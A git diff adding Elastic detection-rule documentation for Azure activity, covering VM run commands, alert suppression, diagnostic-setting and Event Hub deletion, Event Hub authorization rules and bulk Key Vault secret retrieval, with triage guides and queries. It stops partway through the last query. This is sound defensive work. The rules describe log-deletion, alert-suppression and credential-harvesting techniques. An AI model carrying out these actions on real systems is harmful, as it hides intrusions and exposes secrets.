https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-contributor + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Compute VM Command Executed* + + +Azure Virtual Machines (VMs) allow users to run applications and services in the cloud. While roles like Virtual Machine Contributor can manage VMs, they typically can't access them directly. However, commands can be executed remotely via PowerShell, running as System. Adversaries may exploit this to execute unauthorized commands. The detection rule monitors Azure activity logs for command execution events, flagging successful operations to identify potential misuse. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific user or service principal that initiated the command execution event, focusing on the operation_name "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION". +- Check the event.outcome field to confirm the success of the command execution and gather details about the command executed. +- Investigate the role and permissions of the user or service principal involved to determine if they have legitimate reasons to execute commands on the VM. +- Analyze the context of the command execution, including the time and frequency of the events, to identify any unusual patterns or anomalies. +- Correlate the command execution event with other logs or alerts from the same time period to identify any related suspicious activities or potential lateral movement. +- If unauthorized access is suspected, review the VM's security settings and access controls to identify and mitigate any vulnerabilities or misconfigurations. + + +*False positive analysis* + + +- Routine maintenance tasks executed by IT administrators can trigger the rule. To manage this, create exceptions for known maintenance scripts or scheduled tasks that are regularly executed. +- Automated deployment processes that use PowerShell scripts to configure or update VMs may be flagged. Identify these processes and exclude them from the rule to prevent unnecessary alerts. +- Security tools or monitoring solutions that perform regular checks on VMs might execute commands that are benign. Whitelist these tools by identifying their specific command patterns and excluding them from detection. +- Development and testing environments often involve frequent command executions for testing purposes. Consider excluding these environments from the rule or setting up a separate monitoring policy with adjusted thresholds. +- Ensure that any exclusion or exception is documented and reviewed periodically to maintain security posture and adapt to any changes in the environment or processes. + + +*Response and remediation* + + +- Immediately isolate the affected virtual machine from the network to prevent further unauthorized command execution and potential lateral movement. +- Review the Azure activity logs to identify the source of the command execution and determine if it was authorized or part of a larger attack pattern. +- Revoke any unnecessary permissions from users or roles that have the ability to execute commands on virtual machines, focusing on those with Virtual Machine Contributor roles. +- Conduct a thorough investigation of the executed commands to assess any changes or impacts on the system, and restore the VM to a known good state if necessary. +- Implement additional monitoring and alerting for similar command execution activities, ensuring that any future unauthorized attempts are detected promptly. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems or data may have been compromised. +- Review and update access control policies and role assignments to ensure that only necessary permissions are granted, reducing the risk of similar incidents in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc new file mode 100644 index 0000000000..9f1d11fff5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-azure-diagnostic-settings-alert-suppression-rule-created-or-modified]] +=== Azure Diagnostic Settings Alert Suppression Rule Created or Modified + +Identifies the creation of suppression rules in Azure. Suppression rules are a mechanism used to suppress alerts previously identified as false positives or too noisy to be in production. This mechanism can be abused or mistakenly configured, resulting in defense evasions and loss of security visibility. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations +* https://docs.microsoft.com/en-us/rest/api/securitycenter/alerts-suppression-rules/update + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Diagnostic Settings Alert Suppression Rule Created or Modified* + + +Azure Alert Suppression Rules are used to manage alert noise by filtering out known false positives. However, adversaries can exploit these rules to hide malicious activities by suppressing legitimate security alerts. The detection rule monitors Azure activity logs for successful operations related to suppression rule changes, helping identify potential misuse that could lead to defense evasion and reduced security visibility. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific suppression rule that was created or modified by filtering logs with the operation name "MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE" and ensuring the event outcome is "success". +- Determine the identity of the user or service principal that performed the operation by examining the associated user or service account details in the activity logs. +- Investigate the context and justification for the creation or modification of the suppression rule by checking any related change management records or communications. +- Assess the impact of the suppression rule on security visibility by identifying which alerts are being suppressed and evaluating whether these alerts are critical for detecting potential threats. +- Cross-reference the suppression rule changes with recent security incidents or alerts to determine if there is any correlation or if the rule could have been used to hide malicious activity. +- Verify the legitimacy of the suppression rule by consulting with relevant stakeholders, such as security operations or cloud management teams, to confirm if the change was authorized and aligns with security policies. + + +*False positive analysis* + + +- Routine maintenance activities by IT staff may trigger alerts when legitimate suppression rules are created or modified. To manage this, establish a baseline of expected changes and create exceptions for known maintenance periods or personnel. +- Automated processes or scripts that regularly update suppression rules for operational efficiency can generate false positives. Identify these processes and exclude their activity from alerting by using specific identifiers or tags associated with the automation. +- Changes made by trusted third-party security services that integrate with Azure might be flagged. Verify the legitimacy of these services and whitelist their operations to prevent unnecessary alerts. +- Frequent updates to suppression rules due to evolving security policies can lead to false positives. Document these policy changes and adjust the alerting criteria to accommodate expected modifications. +- Temporary suppression rules created during incident response to manage alert noise can be mistaken for malicious activity. Ensure these rules are documented and time-bound, and exclude them from alerting during the response period. + + +*Response and remediation* + + +- Immediately review the Azure activity logs to confirm the creation or modification of the suppression rule and identify the user or service account responsible for the change. +- Temporarily disable the suspicious suppression rule to restore visibility into potential security alerts that may have been suppressed. +- Conduct a thorough investigation of recent alerts that were suppressed by the rule to determine if any malicious activities were overlooked. +- If malicious activity is confirmed, initiate incident response procedures to contain and remediate the threat, including isolating affected resources and accounts. +- Escalate the incident to the security operations team for further analysis and to assess the potential impact on the organization's security posture. +- Implement additional monitoring and alerting for changes to suppression rules to ensure any future modifications are promptly detected and reviewed. +- Review and update access controls and permissions for creating or modifying suppression rules to ensure only authorized personnel can make such changes. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE" and +event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-diagnostic-settings-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-diagnostic-settings-deleted.asciidoc new file mode 100644 index 0000000000..217525f421 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-diagnostic-settings-deleted.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-azure-diagnostic-settings-deleted]] +=== Azure Diagnostic Settings Deleted + +Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings +* https://www.microsoft.com/en-us/security/blog/2025/10/20/inside-the-attack-chain-threat-activity-targeting-azure-blob-storage/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Diagnostic Settings Deleted* + + +Azure Diagnostic Settings are crucial for monitoring and logging platform activities, sending data to various destinations for analysis. Adversaries may delete these settings to hinder detection and analysis of their activities, effectively evading defenses. The detection rule identifies such deletions by monitoring specific Azure activity logs for successful deletion operations, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- If this is a service principal, determine which application is associated with it and examine credential use with authentication sources to identify potential compromise. +- Examine the resource group and subscription context to understand the scope of the deletion and whether it affects critical resources. +- Check the timestamp of the deletion event to determine when the diagnostic settings were removed and correlate this with other security events or alerts around the same time. +- Investigate the affected resources by identifying which diagnostic settings were deleted and assess the potential impact on monitoring and logging capabilities. +- Review any recent changes or activities performed by the identified user or service principal to determine if there are other suspicious actions that might indicate malicious intent. +- Assess the current security posture by ensuring that diagnostic settings are reconfigured and that logging and monitoring are restored to maintain visibility into platform activities. + + +*False positive analysis* + + +- Examine the service principal or user account involved in the deletion to determine if it is part of an automated process or legitimate administrative activity. +- Automated scripts or tools used for managing Azure resources might delete diagnostic settings as part of their operation. Review and whitelist these scripts if they are verified as non-threatening. +- Changes in organizational policy or compliance requirements could lead to legitimate deletions. Confirm with relevant teams if such policy changes are in effect. +- Test environments often undergo frequent configuration changes, including the deletion of diagnostic settings. Consider excluding these environments from the rule or adjusting the rule to account for their unique behavior. +- Ensure that any third-party integrations or services with access to Azure resources are reviewed, as they might inadvertently delete diagnostic settings during their operations. + + +*Response and remediation* + + +- Immediately isolate affected Azure resources to prevent further unauthorized changes or deletions. This may involve temporarily restricting access to the affected subscriptions or resource groups. +- Review the Azure activity logs to identify the source of the deletion request, including the user account, service principal and IP address involved. This will help determine if the action was authorized or malicious. +- Recreate the deleted diagnostic settings as soon as possible to restore logging and monitoring capabilities. Ensure that logs are being sent to secure and appropriate destinations. +- Conduct a thorough investigation of the user account or service principal involved in the deletion. If the account is compromised, reset credentials, and review permissions to ensure they are appropriate and follow the principle of least privilege. +- Escalate the incident to the security operations team for further analysis and to determine if additional resources or expertise are needed to address the threat. +- Implement additional monitoring and alerting for similar deletion activities to ensure rapid detection and response to future attempts. +- Review and update access controls and policies related to diagnostic settings to prevent unauthorized deletions, ensuring that only trusted and necessary personnel have the ability to modify these settings. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs + and azure.activitylogs.operation_name:"MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/DELETE" + and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-event-hub-authorization-rule-created-or-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-event-hub-authorization-rule-created-or-updated.asciidoc new file mode 100644 index 0000000000..f1184cc55e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-event-hub-authorization-rule-created-or-updated.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-azure-event-hub-authorization-rule-created-or-updated]] +=== Azure Event Hub Authorization Rule Created or Updated + +Identifies when an Event Hub Authorization Rule is created or updated in Azure. An authorization rule is associated with specific rights, and carries a pair of cryptographic keys. When you create an Event Hubs namespace, a policy rule named RootManageSharedAccessKey is created for the namespace. This has manage permissions for the entire namespace and it's recommended that you treat this rule like an administrative root account and don't use it in your application. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/event-hubs/authorize-access-shared-access-signature + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Event Hub Authorization Rule Created or Updated* + + +Azure Event Hub Authorization Rules manage access to Event Hubs via cryptographic keys, akin to administrative credentials. Adversaries may exploit these rules to gain unauthorized access or escalate privileges, potentially exfiltrating data. The detection rule monitors for the creation or modification of these rules, flagging successful operations to identify potential misuse or unauthorized changes. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal associated with the operation by examining the `azure.activitylogs.operation_name` and `event.outcome` fields. +- Check the timestamp of the event to determine when the authorization rule was created or updated, and correlate this with any other suspicious activities around the same time. +- Investigate the specific Event Hub namespace affected by the rule change to understand its role and importance within the organization. +- Verify if the `RootManageSharedAccessKey` or any other high-privilege authorization rule was involved, as these carry significant risk if misused. +- Assess the necessity and legitimacy of the rule change by contacting the user or team responsible for the Event Hub namespace to confirm if the change was authorized and aligns with operational needs. +- Examine any subsequent access patterns or data transfers from the affected Event Hub to detect potential data exfiltration or misuse following the rule change. + + +*False positive analysis* + + +- Routine administrative updates to authorization rules by IT staff can trigger alerts. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or deployment tools that update authorization rules as part of regular operations may cause false positives. Identify these scripts and exclude their activity from alerts by filtering based on their service principal or user identity. +- Changes made by trusted third-party services integrated with Azure Event Hub might be flagged. Verify these services and exclude their operations by adding them to an allowlist. +- Frequent updates during development or testing phases can lead to false positives. Consider setting up separate monitoring profiles for development environments to reduce noise. +- Legitimate changes made by users with appropriate permissions might be misinterpreted as threats. Regularly review and update the list of authorized users to ensure only necessary personnel have access, and exclude their actions from alerts. + + +*Response and remediation* + + +- Immediately revoke or rotate the cryptographic keys associated with the affected Event Hub Authorization Rule to prevent unauthorized access. +- Review the Azure Activity Logs to identify any unauthorized access or data exfiltration attempts that may have occurred using the compromised authorization rule. +- Implement conditional access policies to restrict access to Event Hub Authorization Rules based on user roles and network locations. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised. +- Conduct a security review of all Event Hub Authorization Rules to ensure that only necessary permissions are granted and that the RootManageSharedAccessKey is not used in applications. +- Enhance monitoring and alerting for changes to authorization rules by integrating with a Security Information and Event Management (SIEM) system to detect similar threats in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.EVENTHUB/NAMESPACES/AUTHORIZATIONRULES/WRITE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-event-hub-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-event-hub-deleted.asciidoc new file mode 100644 index 0000000000..d4dfbce129 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-event-hub-deleted.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-azure-event-hub-deleted]] +=== Azure Event Hub Deleted + +Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about +* https://azure.microsoft.com/en-in/services/event-hubs/ +* https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-features + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Event Hub Deleted* + + +Azure Event Hub is a scalable data streaming platform and event ingestion service, crucial for processing large volumes of data in real-time. Adversaries may target Event Hubs to delete them, aiming to disrupt data flow and evade detection by erasing evidence of their activities. The detection rule monitors Azure activity logs for successful deletion operations, flagging potential defense evasion attempts by identifying unauthorized or suspicious deletions. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking the operation name "MICROSOFT.EVENTHUB/NAMESPACES/EVENTHUBS/DELETE" and ensure the event outcome is marked as Success. +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Investigate the context of the deletion by reviewing recent activities performed by the identified user or service principal to determine if there are any other suspicious actions. +- Check for any recent changes in permissions or roles assigned to the user or service principal to assess if the deletion was authorized or if there was a potential privilege escalation. +- Correlate the deletion event with other security alerts or incidents in the environment to identify if this action is part of a larger attack pattern or campaign. +- Communicate with relevant stakeholders or teams to verify if the deletion was part of a planned operation or maintenance activity. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can trigger deletion logs. Verify if the deletion aligns with scheduled maintenance activities and exclude these operations from alerts. +- Automated scripts or tools used for managing Azure resources might delete Event Hubs as part of their normal operation. Identify these scripts and whitelist their activity to prevent false positives. +- Test environments often involve frequent creation and deletion of resources, including Event Hubs. Exclude known test environments from monitoring to reduce noise. +- Changes in organizational policies or restructuring might lead to legitimate deletions. Ensure that such policy-driven deletions are documented and excluded from alerts. +- Misconfigured automation or deployment processes can inadvertently delete Event Hubs. Regularly review and update configurations to ensure they align with intended operations and exclude these from alerts if verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Event Hub namespace to prevent further unauthorized deletions or modifications. This can be done by restricting access through Azure Role-Based Access Control (RBAC) and network security groups. +- Review and revoke any suspicious or unauthorized access permissions associated with the deleted Event Hub. Ensure that only authorized personnel have the necessary permissions to manage Event Hubs. +- Restore the deleted Event Hub from backups if available, or reconfigure it to resume normal operations. Verify the integrity and completeness of the restored data. +- Conduct a thorough audit of recent Azure activity logs to identify any other unauthorized actions or anomalies that may indicate further compromise. +- Escalate the incident to the security operations team for a detailed investigation into the root cause and to assess the potential impact on other Azure resources. +- Implement additional monitoring and alerting for Azure Event Hub operations to detect and respond to similar unauthorized activities promptly. +- Review and update security policies and access controls for Azure resources to prevent recurrence, ensuring adherence to the principle of least privilege. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.EVENTHUB/NAMESPACES/EVENTHUBS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc new file mode 100644 index 0000000000..c6b0638dc7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-21-azure-key-vault-excessive-secret-or-key-retrieved]] +=== Azure Key Vault Excessive Secret or Key Retrieved + +Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 43 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Key Vault +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Excessive Secret or Key Retrieved* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious. +- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies. +- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources. +- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault. +- Check the `source.ip` or `source.geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior. +- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity. +- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents. +- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies. + + +*False positive analysis* + +- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications. +- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. + + +*Response and remediation* + +- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals. +- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault. +- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals. +- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts. +- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets. +- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments. + + +==== Setup + + + +*Required Azure Key Vault Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault: +- AuditEvent: This log captures all read and write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.platformlogs-* metadata _id, _index + +// Filter for Azure Key Vault read operations +| where data_stream.dataset == "azure.platformlogs" + and event.action in ( + "VaultGet", + "KeyGet", + "KeyList", + "KeyListVersions", + "KeyGetDeleted", + "KeyListDeleted", + "SecretGet", + "SecretList", + "SecretListVersions", + "SecretGetDeleted", + "SecretListDeleted", + "CertificateGet", + "CertificateList", + "CertificateListVersions", + "CertificateGetDeleted", + "CertificateListDeleted", + "CertificatePolicyGet", + "CertificateContactsGet", + "CertificateIssuerGet", + "CertificateIssuersList" + ) + +// Truncate timestamps into 1-minute windows +| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp) + +// Aggregate identity, geo, resource, and activity info +| stats + Esql_priv.azure_platformlogs_identity_claim_upn_values = values(azure.platformlogs.identity.claim.upn), + Esql.azure_platformlogs_identity_claim_upn_count_distinct = count_distinct(azure.platformlogs.identity.claim.upn), + Esql.azure_platformlogs_identity_claim_appid_values = values(azure.platformlogs.identity.claim.appid), + + Esql.source_ip_values = values(source.ip), + Esql.source_geo_city_values = values(source.geo.city_name), + Esql.source_geo_region_values = values(source.geo.region_name), + Esql.source_geo_country_values = values(source.geo.country_name), + Esql.source_as_organization_name_values = values(source.as.organization.name), + + Esql.event_action_values = values(event.action), + Esql.event_count = count(*), + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.azure_resource_name_count_distinct = count_distinct(azure.resource.name), + Esql.azure_resource_name_values = values(azure.resource.name), + Esql.azure_platformlogs_result_type_values = values(azure.platformlogs.result_type), + Esql.cloud_region_values = values(cloud.region), + + Esql.agent_name_values = values(agent.name), + Esql.azure_subscription_id_values = values(azure.subscription_id), + Esql.azure_resource_group_values = values(azure.resource.group), + Esql.azure_resource_id_values = values(azure.resource.id) + +by Esql.time_window_date_trunc, azure.platformlogs.identity.claim.upn + +// keep relevant fields +| keep + 